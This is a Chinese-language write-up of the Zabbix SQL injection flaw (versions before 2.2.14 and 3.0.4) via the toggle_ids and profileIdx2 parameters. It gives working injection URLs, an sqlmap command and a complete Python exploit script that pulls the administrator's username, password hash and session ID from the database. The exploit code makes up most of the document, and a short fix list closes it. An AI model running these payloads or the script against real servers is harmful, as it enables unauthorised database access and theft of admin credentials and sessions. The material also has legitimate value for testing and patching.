什么是zabbix
zabbix由2部分構成,zabbix server與可選組件zabbix agent。
zabbix server可以通過
SNMP,zabbix agent,
ping,端口監視等方法提供對遠程服務器/網絡狀態的監視,
數據收集等功能,它可以運行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。--來自百度百科
漏洞簡介
Zabbix是拉脫維亞Zabbix SIA公司的一套開源的監控系統。該系統可監視各種網絡參數,並提供通知機制讓系統管理員快速定位、解決存在的各種問題。
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本中存在SQL注入漏洞。遠程攻擊者可借助latest.php文件中的‘toggle_ids’數組參數利用該漏洞執行任意SQL命令。
利用條件
zabbix開啟了guest權限。而在zabbix中,guest的默認密碼為空。需要有這個條件的支持才可以進行無權限注入。
存在此漏洞的版本
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本。
漏洞復現
latest.php頁面

提取cookie中的zbx_sessionid的后16位

構造payload
/latest.php?output.php=ajax&sid=bb8a0a548b92eafd&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)

返回當前數據庫,存在注入。
此注入漏洞衍生出另一個頁面的注入漏洞
jsrpc.php頁面
構造payload
jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)

利用sqlmap測試
命令: Sqlmap -u “目標連接+PoC” -p “profileIdx2” --technique E --dbs

EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2016/8/18
# Modified by: Jamin Zhang
import urllib2
import sys, os
import re
def deteck_Sql():
u'檢查是否存在 SQL 注入'
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True
def sql_Inject(sql):
u'獲取特定sql語句內容'
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0]
if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print u'\t Python Zabbix < 3.0.4 SQL 注入 Exploit'
print '\t Origin Author: http://www.waitalone.cn/'
print '\t\t Modified by: Jamin Zhang'
print '\t\t Modified by: Jamin Zhang'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'
print u'實例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'
sys.exit()
url = sys.argv[1]
if url[-1] != '/': url += '/'
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if deteck_Sql():
print u'Zabbix 存在 SQL 注入漏洞!\n'
print u'管理員 用戶名密碼:%s' % sql_Inject(passwd_sql)
print u'管理員 Session_id:%s' % sql_Inject(session_sql)
else:
print u'Zabbix 不存在 SQL 注入漏洞!\n'
注:EXP學習自@jaminzhang大大的腳本
http://jaminzhang.github.io/security/Zabbix-latest-SQL-Injection-Vulnerability-and-EXP/
關於修復
關閉guest權限
打補丁
升級版本